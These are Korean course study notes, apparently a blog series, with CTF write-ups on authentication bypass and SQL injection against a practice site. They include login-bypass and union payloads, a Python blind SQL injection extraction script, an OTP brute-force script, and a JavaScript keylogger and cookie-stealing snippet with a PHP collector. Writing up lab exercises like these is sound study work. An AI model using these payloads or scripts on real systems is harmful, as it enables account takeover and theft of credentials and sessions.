19. [5주차]-3 인증 우회 문제 풀이-2

* 과제
1. 오늘 수업 복습
2. 인증 우회 실습 문제 풀기


 

2.5 Login Bypass 1

 

normaltic1 계정으로 로그인을 해야 하는 문제이다.

주어진 일반 계정으로 로그인을 하고 관련 요청, 응답 패킷을 인터셉트 하였다.

 

계정 정보를 POST 방식으로 전달하고 있다.

 

1. 먼저 UserId만 normaltic1으로 변경 후 요청, 다음 응답인 index.php를 요청했지만 실패.

2. UserId에 doldol' and '1'='1 을 넣고 시도, 로그인 성공 결과를 확인.

 - sql 인젝션이 통하는 것을 확인

 

UserId에 한번 normaltic1' or '1'='1 을 넣고 요청을 시도해보니 로그인이 되는 것을 확인했다.

 

로그인이 되었으며, flag를 알 수 있었다.

 

추측하자면, 아래와 같이 식별과 인증을 같이하는 구조인 것 같다.

select * from my_user where user='doldol' and pw='dol1234'

여기서 UserId에 조작된 SQL 구문을 넣음으로서 인증 과정을 피할 수 있었다.

select * from my_user where user='normaltic1' or '1'='1' and pw='dol1234'

'1'='1' and Password='1234' 부분은 거짓이 되지만, 앞에 UserId='normaltic1' 부분이 참이기 때문에 결과적으로 참이 된다. 즉 패스워드에 상관없이 UserId가 normaltic1 으로 로그인이 되는 것이다.

 


24/05/27

다시 생각해보니, 잘못된 내용인 것 같다. 우선, 식별과 인증을 같이 하는 것이라면

normaltic1' #

위 문구로 통과되어야 하는데 되지 않았다.

 

아마 중간에 개행이 들어가 있는 것 같다.

select * from my_user where user='doldol' 
and pw='dol1234'

 

이러면 normaltic1' # 문구로 and pw='dol1234' 부분이 주석처리가 되지 않아 쿼리 결과가 실패가 된다.

 

aaa' or '1'='1

위 문구를 넣으면 doldol 로 로그인이 된다.

 

normaltic1' or '1'='1

을 넣었을 때 normaltic1으로 로그인 되는 것을 보니 normaltic1이 doldol보다 쿼리 결과 상 먼저 나오게 DB가 셋팅되어 있지 않나 싶다.

select * from my_user where user='normaltic1' or '1'='1' 
and pw='dol1234'

 

위 쿼리가 되어 normaltic1이거나 pw가 dol1234인 결과(doldol)를 출력하는데 순서때문에 normatic1이 먼저 나올 수 있거나 doldol이 먼저 나올 수 있기 때문이다.

 

 

2.6 Login Bypass 2

 

이번에는 normaltic2로 로그인을 해야 하는 문제이다.

역시 POST 방식으로 계정 정보를 보내고 있다.

Login Bypass 1처럼 확인 결과, SQL 인젝션이 된다는 것을 알 수 있다.

 

Login Bypass 1과 달리 or 로 하는 방법이 통하지 않아 normaltic2' -- 을 통해 주석처리가 되도록 수정하였다.

 

그렇게 flag를 얻을 수 있었다.

 

추측하자면, Login Bypass 1과 같은 구조이나, or를 필터링 하는 게 아닐 까 한다.

select * from my_user where user='normaltic2' -- ' and pw='dol1234'

하지만 -- 혹은 #을 통해 주석처리를 하면 normaltic2의 계정으로 로그인을 할 수 있다.

 


24/05/27

다시한번 생각해보았다.

doldol' and 1=1 #

dol1234

은 doldol로 로그인이 되었다.

 

doldol' and 1=1 #

12

도 doldol로 로그인이 되었다.

 

여기서 패스워드 부분은 주석에 영향을 받는다는 걸 알 수 있다.

식별/인증 동시일 확률이 높다.

 

doldol' and '1'='1

dol1234

는 doldol로 로그인이 된다.

 

doldol' and '1'='1

12

는 로그인이 안된다.

 

doldol' or 1=1 #

dol1234

doldol' or 1=1 #

12

둘 다 로그인이 안된다.

 

혹시 or를 필터링하나 싶어 확인을 해보았다.

doldol' and 'or'='or

dol1234

doldol' and 'or'='or' #

dol1234

 

원래 1로 했을 때는 로그인이 됐는데 or로 바꾸니 되지 않는다.

결국 or를 필터링하는 것으로 판단했다.

 

추가로 아래에서 다른 문제를 풀다 생각난건데

' union select 'normaltic2', 'dol1234' #

dol1234

doldol' and 1=1 order by 1 #

dol1234

도 로그인이 안되는 것을 볼 때

select user, pw from my_user where user='doldol' and pw='dol1234'
and 1=1
order by 1

 

혹시 이런 구조는 아닐 까 예상해본다.

 

 

2.7 Login Bypass 3

 

이 문제 역시 normaltic3로 로그인을 하는 문제이며, SQL 인젝션으로 공격했다.

or 나 주석처리가 통하지 않아 다른 방식을 사용해야 했다.

아마 union 을 활용하는 방식을 사용해야 할 것 같은데, 내가 알기로는 union SQL 인젝션 공격을 하려면 컬럼 갯수와 테이블 이름을 알아야 한다고 알고 있다.

테이블 이름을 알기 위해 Blind SQL 인젝션 공격을 했는데 그러려면 그냥 Blind SQL 인젝션 공격을 하면 되지 않나 싶어서 Blind SQL 인젝션 공격으로 공격 방식을 변경했다.

 

더보기
import requests
from user_agent import generate_user_agent, generate_navigator

url = ''


headers = {
    'User-Agent': generate_user_agent(os='win', device_type='desktop')
}

payload = {
    'UserId': "doldol",
    'Password': 'dol1234',
    'Submit': 'Login'
}

cnt = 1

# flag = 1: DB 이름 알아내기
# flag = 2: 테이블 이름 알아내기
# flag = 3: 컬럼 이름 알아내기
# flag = 4: 데이터 알아내기
# flag = 5: 현재 사용중인 DB 알아내기

flag = 4

db_name = "segFault_sqli"
table_name = "flag_table"
column_name = "flag"


# DB 갯수 알아내기
if flag == 1:
    for i in range(0, 10):
        payload["UserId"] = "doldol' and (select 1 from dual where (select count(schema_name) from information_schema.schemata)="+str(i)+")#"
        response = requests.post(url, data=payload, headers=headers)
        if response.history:
            cnt = i
            break

# 테이블 갯수 알아내기
if flag == 2:
    for i in range(0, 10):
        payload["UserId"] = "doldol' and (select 1 from dual where (select count(table_name) from information_schema.tables where table_schema=" + \
            "\'"+db_name+"\'"+")="+str(i)+")#"
        response = requests.post(url, data=payload, headers=headers)
        if response.history:
            cnt = i
            break

# 컬럼 갯수 알아내기
if flag == 3:
    for i in range(0, 10):
        payload['UserId'] = "doldol' and (select 1 from dual where (select count(column_name) from information_schema.columns where table_name=" + \
            "\'"+table_name+"\'"+" and table_schema=" + \
            "\'"+db_name + "\'"+")="+str(i)+")#"
        # print(payload["UserId"])
        response = requests.post(url, data=payload, headers=headers)
        if response.history:
            cnt = i
            break

# 데이터 갯수 알아내기
if flag == 4:
    for i in range(0, 10):
        payload['UserId'] = "doldol' and (select 1 from dual where (select count(*) from " + \
            db_name+"." + table_name + ")="+str(i)+")#"
        response = requests.post(url, data=payload, headers=headers)
        if response.history:
            cnt = i
            break

# 현재 사용중인 DB 이름 길이 알아내기
if flag == 5:
    for i in range(0, 20):
        payload['UserId'] = "doldol' and (select 1 from dual where (select length(database()))="+str(i)+")#"
        response = requests.post(url, data=payload, headers=headers)
        if response.history:
            cnt = i
            break

print(cnt)


# 현재 사용 중인 DB 알아내기
if flag == 5:
    res_text = ""
    for j in range(0, cnt+1):
        for i in range(33, 127):
            payload['UserId'] = "doldol' and (select 1 from dual where (select ascii(substr(database(), "+str(
                j)+", 1)))="+str(i)+")#"

            response = requests.post(url, data=payload, headers=headers)
            res = 200

            if response.history:
                res = response.history[0].status_code
                res_text += chr(i)
                break
            else:
                res = response.status_code

    print(res_text)
    exit(1)


for k in range(0, cnt):
    res_text = ""
    for j in range(0, 30):
        for i in range(33, 127):

            # DB이름 알아내기
            if flag == 1:
                payload['UserId'] = "doldol' and (select 1 from dual where (select ascii(substr(schema_name, "+str(
                    j)+", 1)) from information_schema.schemata limit "+str(k)+",1)="+str(i)+")#"

            # 테이블 이름 알아내기
            if flag == 2:
                payload['UserId'] = "doldol' and (select 1 from dual where (select ascii(substr(table_name, "+str(
                    j)+", 1)) from information_schema.tables where table_schema="+"\'"+db_name+"\'"+" limit "+str(k)+",1)="+str(i)+")#"

            # 컬럼 이름 알아내기
            if flag == 3:
                payload['UserId'] = "doldol' and (select 1 from dual where (select ascii(substr(column_name, "+str(
                    j)+", 1)) from information_schema.columns where table_name="+"\'"+table_name+"\'"+" limit "+str(k)+",1)="+str(i)+")#"

            # 데이터 알아내기
            if flag == 4:
                payload['UserId'] = "doldol' and (select 1 from dual where (select ascii(substr("+column_name+", "+str(
                    j)+", 1)) from "+db_name+"."+table_name+" limit "+str(k)+",1)="+str(i)+")#"

            response = requests.post(url, data=payload, headers=headers)
            res = 200

            if response.history:
                res = response.history[0].status_code
                res_text += chr(i)
                break
            else:
                res = response.status_code

    print(f"{k}: {res_text}")

 

 

먼저 데이터베이스의 갯수를 알아내고 이름을 알아낸다.

데이터베이스 이름 정보를 활용해 데이터베이스 내 테이블의 갯수와 이름을 알아내고, 테이블 내 컬럼 갯수와 이름, 컬럼 내 데이터 갯수와 데이터를 알아내는 순서이다.

 

그 결과, 각 스테이지 별 flag를 얻을 수 있었다.

아래의 Login Bypass 4, 5, Secret Admin 문제도 여기서 얻은 flag로 해결 할 수 있었다.

 

....이렇게 푸는 것이 맞는지 모르겠다.

일단 다른 방법은 없는지 계속 시도해보려고 한다.


POST 방식으로 전달하는 것을 확인하였다.

doldol' order by 2 로 컬럼이 2개 임을 확인하였다.

 

' union select 'normaltic3', 'dol1234'#

위처럼 Union 구문을 이용하면 normaltic3와 dol1234를 출력하게 되고 POST 로 보내는 비밀번호 역시 dol1234이기 때문에 normaltic3로 로그인이 가능하게 된다.

 

2.8 Login Bypass 4

 

이 문제 역시 normaltic4로 로그인을 하는 문제이며, SQL 인젝션으로 공격했다.

2.7에서 얻은 flag로 통과할 수 있었고, 거기서 hash를 사용했다는 것을 힌트로 알 수 있었다.

역시 POST로 전달하고 있다.

' union select 'normaltic4', 'fe350b2ff979b0e0ea1844ed644ecafe'#

을 통해 dol1234의 md5 값을 넣음으로서 로그인을 할 수 있었다.

 

 

2.9 Login Bypass 5

 

이 문제 역시 normaltic5로 로그인해야 하는 문제이며, SQL 인젝션으로 공격했다.

패킷중에 쿠키를 확인할 수 있었고, normaltic5로 수정 후 전송하니 flag를 얻을 수 있었다.

 


24/05/27

doldol' or '1'='1

dol1234

doldol로 로그인이 된다.

 

' or '1'='1

dol1234

도 doldol로 로그인이 된다.

 

전체 결과 값에서 원하는 항목만 뽑으려고 시도해봤다.

' or '1'='1' limit 0,1 #

dol1234

로그인이 실패했다.

 

limit 0,1 로 인해 SQL 결과가 실패한 것을 알았다.

 

혹시 패스워드에도 SQL 인젝션이 되는지 확인해 봤다.

doldol

dol1234 and 1=1 #

 

doldol

dol1234 or 1=1 #

둘 다 안되는 것을 보니 패스워드 쪽은 조치를 취한 것 같다....

 

Union SQL 공격을 테스트 해봤다.

doldol' order by 100 #

dol1234

order by 에 100을 넣어도 doldol로 로그인이 되는 것을 알았다.

 

doldol' union select '1','2' #

dol1234

doldol로 로그인이 되었다.

 

doldol' union select 'normaltic5','dol1234' #

dol1234

doldol로 로그인이 되었다.

 

doldol' union select 'normaltic5','dol1234' limit 0, 1 #

dol1234

는 로그인이 실패했다.

 

doldol' or '1'='2

dol1234

는 로그인이 된다

 

doldol' or '1'='2

12

는 로그인이 안된다.

 

아마 패스워드 부분이 다음 줄에 있나 보다(개행 처리)

select user, pw from my_user where user='doldol' 
and pw='dol1234'

 

혹시 pw 앞쪽에 다른 조건절이 있나 싶어서 테스트해봤다.

doldol' union select 1,2 from dual where 1=1 #

dol1234

doldol로 로그인이 된다.

 

그런데 위에서 예상한 개행 처리된 SQL에서는 위의 쿼리가 실패한다.

일단 계속 확인해봤다.

 

doldol' union select 1,2 from dual where 1=1 limit 0,1 #

dol1234

는 로그인에 실패했다.

 

limit 0,1이 뭔가 쿼리의 완성을 방해하는 것 같다.

아마도 쿼리의 마지막에 limit가 있는 것 같다.

 

여기서

select user, pw from my_user where user='doldol' 
and pw='dol1234'
limit 0,1
select user, pw from my_user where user='doldol' and 
pw='dol1234'
limit 0,1

 

둘 중 뭘까 고민이 되었다.

 

normaltic5' or 1=1 #

dol1234

에서 에러가 나지 않고 doldol로 로그인이 되는 것을 보고

첫번째 구조임을 알았다.

 

근데 첫번째 구조이면

doldol' union select 1,2 from dual where 1=1 #

dol1234

에서 doldol로 로그인이 되어야 하는데 내가 만든 쿼리는 로그인에 실패했다.

 

doldol' union select 1,2 from dual where 1=1 #

dol1234

이건 되고

doldol' union select 1,2 from dual where 1=1 limit 0,1#

dol1234

이건 안되야 한다.

 

계속 시도 중에

' or 1=1 #
1234

이거는 안되는데

' or 1=1 #
dol1234

이거는 doldol로 로그인이 된다.

 

아이디에 상관없이 pw 만으로 사용자를 가져왔다는 뜻이다.

혹시 pw와 user의 순서가 바뀐게 아닐까 추측했다.

select user, pw from my_user where pw='dol1234' 
and user='doldol'
limit 0,1

 

그런데 이러면

normaltic5' or 1=1 order by 1 desc #

dol1234

가 될 것 같은데 Login Bypass 5에서는 통하지 않았다.

 

select user, pw from my_user where pw='dol1234' 
and user='doldol'
order by 1
limit 0,1

 

이거인가 싶었다.

' union select 'doldol','dol1234' from dual #
dol1234

이게 내가 만든 쿼리에서는 되는데 문제에서는 로그인이 되지 않았다.

 

doldol' order by 100 #

dol1234

이것도 내가 만든 쿼리에서는 실패인데 문제에서는 로그인이 되었다.

 

order by 가 붙는 건 아닌거 같다.

select user, pw from my_user where pw='dol1234'
and user='doldol'
and 1=1 
limit 0,1

 

from dual이 안되는 것에서 위와 같은 구조를 추측했다.

 

doldol' or '1'='1
dol1234

doldol로 로그인이 된다.

 

xxx' or '1'='1

dol1234

doldol로 로그인이 된다.

 

' union select 'normaltic5','dol1234' from dual where 1=1 #

dol1234

로 내꺼에서는 되지만 문제에서는 되지 않았다.

 

여기서 해시가 생각났고

일단 md5부터 시도해보았다.

 

' union select 'normaltic5','fe350b2ff979b0e0ea1844ed644ecafe' from dual where 1=1 #

dol1234

여기서 로그인이 되면서 flag를 얻을 수 있었다.

 

 

2.10 Secret Login

 

이번 문제는 관리자 계정을 모르는 상태로 로그인해야하는 문제이다.

역시 SQL 인젝션 공격을 해야 할 듯 싶은데, 2.7에서의 공격을 활용해 ID와 비밀번호를 알아 내긴 했는데

제대로된 공격법인지 애매하다.


먼저 공격에 성공하신 분 것을 참고해서

like를 이용한 SQL 인젝션 공격이 가능하다는 것을 알게 되었다.

1' or id like 'a%'#

구문에서 a를 a-z, 0-9 까지 바꿔가며 시도해본다.

 

1' or id like '5%'#

에서 로그인이 되면서 flag를 얻을 수 있었다.

 

거기에

1' or id like '5_____________'#

를 통해 14자리라는 것도 알 수 있었다.

하나씩 대입해보면 전체 아이디도 알 수 있을 것이다.

 

추가로

id' and pass like 'a%'#

을 통해 같은 방식으로 비밀번호도 알 수 있을 것이다.

 

https://freestyle.tistory.com/17

 

 

반응형

댓글()

18. [5주차]-2 인증 우회 문제 풀이-1

* 과제
1. 오늘 수업 복습
2. 인증 우회 실습 문제 풀기

 


2. 인증 우회 실습 문제 풀기

유튜버 노말틱님이 만든 사이트에서 인증 우회 CTF 문제를 풀어보았다.

2.1 GetAdmin

 

해당 페이지의 로그인 계정을 주고, admin으로 접속해야 하는 문제이다.

주어진 일반 계정으로 접속하고 버프스위트로 인터셉트 해봤다.

login.php에서 index.php로 리다이렉트되는 구조이다.

 

index.php에 쿠키로 doldol 계정을 설정해서 요청 패킷을 보내는 것을 확인했고 loginUser를 admin으로 수정해서 요청하니 flag를 얻을 수 있었다.

 

추측하자면, 이 페이지는 쿠키로만 사용자를 확인하는 구조인 것 같다.

 

2.2 PIN CODE Bypass

 

PIN CODE 인증을 우회하는 문제이다.

step1.php와 step2.php 페이지가 있으며 마지막은 step2.php?admin_pass=XXXX 로 GET 방식을 통해 비밀번호를 넘겨주고 있었다.

여기서 admin_pass 쪽에서 이전에 배운 공격 기법인 SQL 인젝션을 시도해보았지만 400 에러만 발생하였다.

여기서 우연히 step1과 step2가 있으니 step3도 있지 않을 까 싶어서 url에 step3.php를 입력해보았고 그렇게 flag를 얻을 수 있었다....

 

2.3 Admin is Mine

 

주어진 일반 계정으로 로그인을 하고 관련 요청, 응답 패킷을 인터셉트 하였다.

 

로그인 프로세스로 GET방식을 통해 계정 정보를 보내고 있었다.

일단 userId만 admin으로 바꿔서 요청을 보내보니 다음의 응답만 받았다.

일단 계정과 비밀번호에 SQL 인젝션이 통하는 지 확인해봤는데 400 에러만 발생하였다.

여기서 좀 막혔는데 이번에도 우연히 알아냈다.

처음 방법대로 userId만 admin으로 요청을 보내고 그 다음 요청인 index.php GET 요청을 보내니 응답 패킷에서 flag를 찾을 수 있었다.

 

추측을 하자면, 사용자 인증과정에서 로그인 페이지에서만 인증을 진행하고 그 다음 페이지들은 인증 절차 없이 기존 로그인 페이지에서 사용된 계정 아이디만 가져와서 관련 정보를 보여주는 가 싶다.

 

2.4 Pin Code Crack

 

해당 번호로 전송된 PIN 코드 입력을 우회하는 문제이다.

해당 패킷 역시 인터셉트 해보면

 

GET 방식으로 4자리 숫자를 보내는 것을 알 수 있다.

여기서 0000부터 9999까지 버프스위트의 인트루더를 사용하려 했다.

그러나, 너무 오래걸렸다....

그래서 파이썬을 이용해서 자동화 코드를 만들었다.

더보기
import requests

# 사이트 주소 노출이 걱정되서 제거함
url = ''

params = {
    "otpNum": 0000
}

for i in range(0, 10000):
    params['otpNum'] = i

    try:
        response = requests.get(url, params=params)

        if len(response.text) != 83:
            print(params['otpNum'])
            exit(0)
    except:
        print("except!")
        print(params['otpNum'])
        exit(1)

0000부터 9999 까지 get방식으로 요청을 보내는 코드이다.

틀린 경우 응답 패킷의 길이가 83이라 맞은 경우의 응답은 83은 아니겠지 싶어서 길이를 통해 판별을 했다.

숫자도 0하고 0000을 다르게 보지 않을까 싶었는데 일단 0으로 해서 해봤다. 결과가 안나오면 그 때가서 수정하려고 했다.

다행히 결과가 나왔고 해당 번호를 입력하고 flag를 얻을 수 있었다.

 

반응형

댓글()

17. [5주차]-1 SQL 인젝션 이해

* 과제
1. 오늘 수업 복습
2. 인증 우회 실습 문제 풀기


1. 오늘 수업 복습

1.1 SQL Injection에 대해서...

로그인이나 검색 과 같이 데이터베이스에서 값을 가져오는 부분은 외부로부터 입력 값을 받아 SQL 구문을 완성 시킨 후 실행하게 된다.

이 때 공격자는 SQL 구문을 이용하기 위해 외부에서 값을 조작해 전달하게 된다.

이것이 SQL 인젝션 공격이다.

크게 3가지로 구분할 수 있다.

 

1. Error Based SQL Injection

2. Union SQL Injection

3. Blind SQL Injection

 

일반적인 SQL 인젝션 공격을 뜻하는 것으로 보인다.

' or 1=1 --

보통 위와 같은 구문을 많이 사용한다.

select * from user where id='user' and pw='password'

일반적으로 위와 같이 외부에서 user와 password를 입력받아 SQL 구문을 완성시키는 구조가 있다고 한다면, 위의 구문을 넣을 경우

select * from user where id='' or 1=1 -- ' and pw='password'

위 처럼 user의 모든 데이터를 가져오는 것으로 바뀌게 된다. 로그인일 경우 제일 위에 있는 정보를 가져와 로그인을 하게 될 것이다.

select * from user where id='admin' or 1=1 -- ' and pw='password'

계정을 알고 있다면 위와 같은 방식으로 해당 계정으로 로그인도 가능하게 된다.

 

1.2 Error Based SQL Injection

SQL 쿼리 결과 에러가 발생했을 때 사용자에게 에러 내용을 확인할 수 있을 때 사용하는 공격이다.

MySQL에서는 주로 extractvalue 함수를 이용한 공격을 하는 것으로 보인다.

 

extractvalue 함수는 XML 구문에서 원하는 부분의 값을 추출하는 함수이다.

select extractvalue('<AAA> <BBB> <CCC>가나다</CCC> <DDD>라마바</DDD> <EEE>사아자</EEE> </BBB> </AAA>',
'/AAA/BBB/DDD');

 

위와 같이 사용한다.

그런데 이 함수는 에러가 발생하면 에러 메시지를 출력한다.

select extractvalue('<AAA> <BBB> <CCC>가나다</CCC> <DDD>라마바</DDD> <EEE>사아자</EEE> </BBB> </AAA>',
':/AAA/BBB/DDD');

 

이런식으로 조건식 부분이 틀리면

조건식 부분이 에러로 그대로 출력되며, 이를 이용해 DB의 데이터를 추출할 수 있다.

 

 

1.3 Union SQL Injection

두개의 쿼리 결과를 합쳐서 보여주는 UNION 구문을 이용한 SQL 인젝션 공격이다.

Union SQL 인젝션 공격은 두 개의 쿼리가 출력하는 컬럼의 갯수가 동일해야 한다는 문제가 있다.

해서 보통 order by 구문으로 컬럼 갯수를 추측한다.

 

' order by 1 --

order by 1은 1번째 컬럼을 기준으로 정렬하라는 의미로 숫자를 올려가며 실행해보면 없는 컬럼에서 에러가 발생한다.

select id, pw from my_user where id='' order by 2 -- ' and pw='password'

위의 예시 구문에서 2번째 까지는 문제 없지만 ' order by 3 에서는 에러가 발생한다. 여기서 컬럼이 2개임을 알 수 있다.

 

Union SQL 인젝션 공격은 테이블명과 컬럼 명 까지 알아야 하는데 먼저 DB명을 아는 방법이다.

select id, pw from my_user where id='' union select schema_name, 2 from information_schema.schemata -- ' and pw='password'

SQL 구문 부분에

' union select schema_name, 2 from information_schema.schemata --

이 것을 넣은 것으로 DB 이름을 알 수 있게 된다.

 

select id, pw from my_user where id='' union select table_name, 2 from information_schema.tables where table_schema='my_db' -- ' and pw='password'

다음으로 SQL 구문에

' union select table_name, 2 from information_schema.tables where table_schema='my_db' --

위 구문을 넣어서 해당 DB의 테이블 명을 알아내야 한다.

 

select id, pw from my_user where id='' union select column_name, 2 from information_schema.columns where table_schema='my_db' and table_name='my_user' -- ' and pw='password'

다음으로

' union select column_name, 2 from information_schema.columns where table_schema='my_db' and table_name='my_user' --

위 구문을 넣어 컬럼 명을 알아낼 수 있다.

 

select id, pw from my_user where id='' union select user, pw from my_db.my_user -- ' and pw='password'

이제 SQL 구문에

' union select user, pw from my_db.my_user --

을 넣음으로서 계정 정보를 알 수 있게 된다.

여기서 order by나 where 같은 조건절을 붙여 원하는 계정만 이용할 수 있다.

 

1.4 Blind SQL Injection

쿼리의 결과를 확인할 수 없어 결과에 대한 참/거짓 만을 알 수 있는 경우 사용한다.

SQL 쿼리의 참/거짓 결과를 보고 데이터를 추측하게 된다.

select id, pw from my_user where id='' or (length(DATABASE())>0) -- and pw='password'

예를 들어 위 처럼

' or (length(DATABASE())>0) --

구문을 넣음으로써 DATABASE의 길이가 0 이상인 경우 값이 나오고

select id, pw from my_user where id='' or (length(DATABASE())>10) -- and pw='password'

' or (length(DATABASE())>10) --

을 넣어서 틀린 경우

위 처럼 아무 결과가 안나온다.

 

이런식으로 범위를 좁혀나가면 DATABASE의 길이를 알 수 있게 되고, 문자열의 일부만 추출하는 substr, 문자를 아스키코드로 바꿔주는 ascii 함수를 활용하면 database의 이름까지 알 수 있게 된다.

 

 

반응형

댓글()

16. [4주차]-5 게시판 구현

* 과제
1. 오늘 수업 복습
 - BurpSuite: CTF 문제
2. Javascript
 - 1. 키로거 만들어보기
 - 2. 쿠키 탈취
3. 게시판 구현
- 게시판 글 작성
- 게시판 글 리스트 보기
- 게시판 글 내용 읽기
- 게시판 글 수정
- 게시판 글 삭제


3. 게시판 구현

로그인 후 보여지는 메인 화면으로 게시판을 구현했다.

 

3.1 게시판 글 리스트 보기

로그인 후 보여지는 화면으로 게시판 글 목록을 보여준다.

 

3.2 게시판 글 작성

글 작성 버튼 클릭 시 이동한다. 제목과 내용을 입력하고 등록을 누르면 게시글인 등록된다.

 

3.3 게시판 내용 읽기

리스트에거 게시글을 클릭하면 게시글 상세 페이지로 이동한다.

원래는 여기서 수정도 가능하나 test글은 작성자가 user01이고 현재 로그인한 유저는 user02이기 때문에 수정을 할 수 없고 아래의 삭제 버튼도 동작하지 않는다.

 

3.4 게시글 수정 및 삭제

상세 페이지에서 수정 및 삭제가 가능하게 하였다.

작성자가 user02인 글은 상세 페이지에서 수정도 가능하며, 삭제도 가능하다.

반응형

댓글()

15. [4주차]-4 자바스크립트 활용 기능 만들기

* 과제
1. 오늘 수업 복습
 - BurpSuite: CTF 문제
2. Javascript
 - 1. 키로거 만들어보기
 - 2. 쿠키 탈취
3. 게시판 구현
- 게시판 글 작성
- 게시판 글 리스트 보기
- 게시판 글 내용 읽기
- 게시판 글 수정
- 게시판 글 삭제


2. Javascript

2.1 키로거 만들어보기

자바스크립트와 PHP를 이용해 해당 페이지의 키 입력값을 공격자의 서버로 가져오는 기능을 구현해봤다.

 

자바스크립트

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
    <form action="/login.php" method="post">
        <input type="text" name="id" placeholder="id">
        <br>
        <input type="password" name="pw" placeholder="pw">
        <br>
        <button type="submit">submit</button>
    </form>


    <script>
        window.addEventListener("keydown", function(e) {
            // console.log(e.key);
            var attackUrl = "./data.php?key=";
            var keydata = e.key
            var img = new Image();
            img.src = attackUrl + keydata;
        });
    </script>
</body>

</html>

 

아이디와 패스워드를 입력받는 웹 페이지라는 가정하에 script 부분이 공격 코드로 활용되었다는 가정이다.

keydown 이벤트를 이용해서 공격자의 URL인 data.php에 key라는 GET 방식으로 입력 값을 전달한다.

그 과정에서 Image()가 src의 경로로 데이터를 요청하는 걸 이용해서 GET 데이터를 추가해서 ./data.php 에 요청을 보내게 했다.

 

 

data.php

<?php
if (isset($_GET["key"])) {
    $filename = "./data";
    file_put_contents($filename, $_GET["key"], FILE_APPEND);
}

 

공격자의 PHP 서버(data.php)에서는 key 값을 GET으로 받아 data 파일에 저장한다.

(나 같은 경우는 data 파일의 권한을 Other도 wirte권한을 주어야 했다.)

 

data 파일

abcd1234

 

실제 내가 ID에 abcd를 넣고 비밀번호로 1234를 넣었을 때 data 파일이다.

비밀번호 입력 시 마우스로 클릭해서 입력해서 아이디와 비밀번호의 구분이 안가는 문제가 있기는 하다.

 

자바스크립트 (추가)

<script>
        window.addEventListener("keydown", function(e) {
            // console.log(e.key);
            var attackUrl = "./data.php?key=";
            var keydata = e.key
            var img = new Image();
            img.src = attackUrl + keydata;
        });
        window.addEventListener("click", function(e) {
            // console.log(e.target.tagName);
            var attackUrl = "./data.php?key=";
            var keydata = e.target.tagName
            var img = new Image();
            img.src = attackUrl + keydata;
        });
    </script>

 

자바스크립트를 위처럼 수정하면 마우스 클릭 시 어떤 html 태그를 클릭했는지 까지 알 수 있다.

 

data 파일 (추가)

abcdINPUT1234

 

아이디에 abcd를 입력하고 비밀번호 input 태그를 클릭해서 1234를 입력했을 때 INPUT으로 해당 html 태그를 클릭했다는 것을 알 수 있다.

 

 

2.2 쿠키 탈취

자바스크립트와 PHP를 이용해 만약 취약한 사이트에 올라갔을 때를 예상해서 쿠키를 공격자의 서버로 가져오는 기능을 구현해봤다.

 

자바스크립트

<script>
        var cookie = document.cookie;
        var attackUrl = "./data.php?cookie=";
        var img = new Image();
        img.src = attackUrl + cookie;
</script>

 

클라이언트의 쿠키를 data.php에 GET방식으로 보낸다.

 

data.php

<?php
if (isset($_GET["cookie"])) {
    $filename = "./data";
    file_put_contents($filename, $_GET["cookie"], FILE_APPEND);
}

공격자의 PHP 서버에서는 data 파일에 GET 으로 받은 쿠키를 저장하게 했다.

(나 같은 경우는 data 파일의 권한을 Other도 wirte권한을 주어야 했다.)

 

data 파일

test=value; test2=value2

테스트 결과, data 파일에 쿠키가 저장된 것을 확인하였다.

 

반응형

댓글()

14. [4주차]-3 버프스위트 활용 CTF 풀이

* 과제
1. 오늘 수업 복습
 - BurpSuite: CTF 문제
2. Javascript
 - 1. 키로거 만들어보기
 - 2. 쿠키 탈취
3. 게시판 구현
- 게시판 글 작성
- 게시판 글 리스트 보기
- 게시판 글 내용 읽기
- 게시판 글 수정
- 게시판 글 삭제


1. 오늘 수업 복습

1.4 CTF 문제

유튜버 노말틱님이 만든 버프스위트 활용 CTF 사이트의 문제를 풀어보았다.

 

1.4.1 Prac 1

들어가면 아무것도 없다.

그래서 버프스위트의 Intercept와 Repeater를 이용해보았다.

이런 응답을 확인할 수 있었다.

Repeater의 요청 패킷의 User-Agent에 segfaultDevice를 넣어 보내면 요청 패킷에 플래그를 얻을 수 있었다.

 

1.4.2 Prac 2

두 번째 역시 아무것도 없어서 버프스위트로 확인해보았다.

여기서 이게 무슨 의미인지 많이 고민했다.

처음에는 history를 보았지만 a.html이나 b.html이 없었다. 생각하다가 URL에 a.html을 넣어보자는 생각이 들었고 확인 결과....

텍스트를 확인할 수 있었다.

b.html 역시 텍스트가 있었고 두 개의 텍스트를 비교하였다.

텍스트 비교는 온라인에도 있지만 버프스위트의 Comparer를 사용해보았다.

 

텍스트를 복사 후 Comparer의 오른쪽에 Paster를 통해 붙여넣기가 가능했다.

먼저 Word로 비교해보니

위 처럼 한줄로 나와서 알아볼 수 없었다.

 

그래서 Bytes로 비교하고 Sync views를 체크해 마우스 휠을 동기화 시켰다.

그 후 차이나는 부분을 플래그에 넣으니 해결할 수 있었다.

 

1.4.3 Prac 3

역시 아무것도 없기에 버프스위트로 확인하였다.

여기서 많은 시간을 쓴거 같다.

Press F5가 신경쓰여서 Referer를 해당 문제풀이 URL로 바꾸면서 보내기도 해보고 하였다.

(여기서는 URL 이 노출이 걱정되서 제거 후 캡쳐 하였다.)

 

그러다가 처음 Prac 3 실행 시 보았던 "Hint : 1 ~ 20" 이 생각나서 다시보니 쿠키에 answer값이 보였다.

(이 힌트 역시 URL 과 같이 있었는데 노출이 걱정되서 캡쳐하지 않았다.)

 

그래서 Request 패킷의 Cookie의 answer값을 하나씩 올려가면서 Send하니 플래그를 얻을 수 있었다.

 

1.4.4 Prac 4

바로 버프스위트로 확인하였다.

여기서 Cookie의 level이 바로 거슬렸다.

이 값을 Decoder에서 디코딩을 하였다.

 

먼저 뒤의 %3D가 거슬려서 URL 디코딩을 하였다. 보통 %가 붙은 값은 URL 인코딩 값인 것 같아서였다.

그 후 나온 값은 =으로 끝나는 것이 base64가 같아 base64 디코딩을 수행하니 user 라는 값이 나왔다.

그러면 Admin을 반대로 base64로 인코딩하고 URL 인코딩을 하였다.

 

하지만 처음에는 안되길래 admin으로 소문자로 하니 공격에 성공하였다.

 

여기서 URL 인코딩 값을 그대로 보내도 되고

base64결과에 =만 %3D로 변경해서 보내도 된다.

 

응답값 역시 =으로 끝나서 base64로 디코딩을 수행하였다.

